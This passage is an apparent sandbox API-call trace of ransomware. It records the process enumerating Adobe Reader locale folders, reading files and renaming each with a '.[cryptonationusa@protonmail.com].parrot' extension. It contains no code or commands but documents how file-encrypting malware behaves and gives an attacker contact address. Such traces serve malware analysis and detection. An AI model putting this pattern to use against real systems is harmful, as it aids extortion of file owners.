HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0249.574] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.574] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.575] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.575] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7200, lpOverlapped=0x0) returned 1 [0249.577] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.577] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\weblink.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\weblink.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0249.581] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0249.581] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x20c3ff20, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x20c3ff20, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.581] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x20600560, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0xb128, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CAT.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCESS~1.PAR")) returned 1 [0249.581] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0249.584] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0249.584] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832ee480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.584] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0249.584] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0249.584] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CZE", cAlternateFileName="ACCESS~1.CZE")) returned 1 [0249.585] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.585] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.586] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.587] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa800, lpOverlapped=0x0) returned 1 [0249.588] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.588] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\accessibility.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\accessibility.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0249.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.590] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0249.592] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.592] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.602] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.602] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x63e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x63e00, lpOverlapped=0x0) returned 1 [0249.618] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.686] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\acroform.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\acroform.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0249.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0249.695] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.695] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.699] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.699] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0249.700] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.702] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\adobecollabsync.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\adobecollabsync.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0249.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0249.708] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.708] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.710] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.710] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x76c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x76c00, lpOverlapped=0x0) returned 1 [0249.728] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.747] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\annots.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\annots.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329bcf0 | out: hHeap=0x5b0000) returned 1 [0249.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0249.757] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.757] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.758] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.758] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3200, lpOverlapped=0x0) returned 1 [0249.760] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.761] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\brdlang32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\brdlang32.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0249.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.764] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0249.766] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.766] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.768] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.768] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1da00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1da00, lpOverlapped=0x0) returned 1 [0249.772] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.774] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\checkers.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\checkers.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0249.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de648 | out: hHeap=0x5b0000) returned 1 [0249.779] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.779] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.780] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.781] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1e000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1e000, lpOverlapped=0x0) returned 1 [0249.782] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.783] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\digsig.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\digsig.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329bcf0 | out: hHeap=0x5b0000) returned 1 [0249.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de648 | out: hHeap=0x5b0000) returned 1 [0249.788] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.788] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.789] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.790] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4600, lpOverlapped=0x0) returned 1 [0249.790] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.791] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\dva.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\dva.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329bcf0 | out: hHeap=0x5b0000) returned 1 [0249.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0249.796] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.796] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.797] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.797] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0249.798] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.799] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ebook.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ebook.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329bcf0 | out: hHeap=0x5b0000) returned 1 [0249.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0249.802] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.803] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.804] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.804] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x9c00, lpOverlapped=0x0) returned 1 [0249.805] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.805] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\escript.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\escript.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9e90 | out: hHeap=0x5b0000) returned 1 [0249.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0249.810] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.810] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.811] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.811] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0249.811] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.812] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\IA32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ia32.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\IA32.CZE.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\ia32.cze.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329bcf0 | out: hHeap=0x5b0000) returned 1 [0249.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.828] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0249.831] SetFilePointerEx (in: hFile=0x1b0, 